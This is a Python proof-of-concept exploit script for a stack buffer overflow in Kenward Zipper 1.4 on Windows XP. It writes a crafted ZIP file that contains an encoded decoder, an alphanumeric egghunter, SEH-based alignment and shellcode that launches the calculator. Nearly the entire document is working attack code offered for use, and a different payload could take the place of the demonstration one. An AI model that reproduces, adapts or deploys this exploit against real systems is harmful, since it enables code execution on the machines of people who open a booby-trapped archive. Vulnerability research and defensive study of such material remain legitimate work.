Kenward Zipper 1.4 – Local Stack Buffer Overflow
#!/usr/bin/python # ################################################################################################# # Exploit Title : Kenward zipper v1.4 0day Stack Buffer Overflow PoC exploit # Date : 23/3/2010 # Bug found by : corelanc0d3r (http://www.corelan.be:8800/) # Author : mr_me (http://net-ninja.net/) # Software Link : http://www.trans4mind.com/personal_development/zipper/ # Version : 1.4 # OS : Windows # Tested on : XP SP3 En # Greetz to : Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # ################################################################################################# # http://www.abysssec.com/blog/2010/03/ken-ward-zipper-stack-bof-0day-a-not-so-typical-seh-exploit/ print "|------------------------------------------------------------------|" print "| __ __ |" print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |" print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |" print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |" print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |" print "| |" print "| http://www.corelan.be:8800 |" print "| security@corelan.be |" print "| |" print "|-------------------------------------------------[ EIP Hunters ]--|" print "~~> Kenward zipper v1.4 0day Stack Buffer Overflow PoC exploit <~~" ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00") #central directory header cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00\x24\x00\x00" "\x00\x00\x00\x00\x00") # end of central directory header eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00" "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00") # custom decoder decoder = ("\x25\x4A\x4D\x4E\x55" "\x25\x35\x32\x31\x2A\x2d\x55\x55" "\x55\x5f\x2d\x56\x55\x56\x5f\x2d" "\x55\x55\x55\x5e\x50\x25\x4A\x4D" "\x4E\x55\x25\x35\x32\x31\x2A\x2d" "\x2b\x5b\x39\x54\x2d\x2a\x5b\x39" "\x54\x2d\x2a\x5f\x39\x55\x50") # ascii egghunter egghunter= ("JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIQvK1" "9ZKO6orbv2bJgr2xZmtnulfePZPthoOHbwFPtpbtLKkJLo1eJJloPuKW9okWA"); # shellcode calc = ("\xd9\xf7\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" "\x4c\x4a\x48\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55" "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x43\x31\x4a\x4f\x4c" "\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" "\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49" "\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x42\x54\x44\x47\x49\x51" "\x49\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47\x4b\x50" "\x54\x47\x54\x45\x54\x44\x35\x4d\x35\x4c\x4b\x51\x4f\x51\x34" "\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51" "\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31" "\x4a\x4b\x4c\x49\x51\x4c\x46\x44\x43\x34\x48\x43\x51\x4f\x50" "\x31\x4a\x56\x43\x50\x50\x56\x42\x44\x4c\x4b\x50\x46\x50\x30" "\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c" "\x4b\x42\x48\x45\x58\x4b\x39\x4a\x58\x4b\x33\x49\x50\x42\x4a" "\x50\x50\x42\x48\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x45\x38\x4a" "\x38\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43" "\x45\x31\x42\x4c\x43\x53\x46\x4e\x43\x55\x43\x48\x45\x35\x45" "\x50\x41\x41"); # chasing the stack.... align = "\x61" * 67 + "\x58\x58\x73\xf9" # ;) name = "\x6D\x72\x5F\x6D\x65\x73\x5F\x70\x61\x73\x73\x77\x6F" "\x72\x64\x5F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E" print "[+] Building attack string..." # my final attack string exploit = name exploit += "\x43" * 266 exploit += egghunter exploit += "\x43" * (878-len(exploit)) exploit += "\x54\x5a" exploit += decoder exploit += "\x73\xf9" exploit += "\x44" * (67-len(decoder)) exploit += "\x73\xf9" exploit += align exploit += "\x42" * (1022-len(exploit)) exploit += "\x73\xf9\x41\x41" exploit += "\x6d\x26\x44\x00" exploit += "\x57\x30\x30\x54" exploit += "\x57\x30\x30\x54" # when the ninja strikes the samurai, the emperor wore no clothes exploit += calc exploit += "\x42" * (4064-len(exploit)) exploit += "\x2e\x74\x78\x74" print "[+] Writing payload to cst-kenzip.zip" # write the payload mefile = open('cst-kenzip.zip','w'); mefile.write(ldf_header + exploit + cdf_header + exploit + eofcdf_header); mefile.close() print "[+] Exploit file created!!" |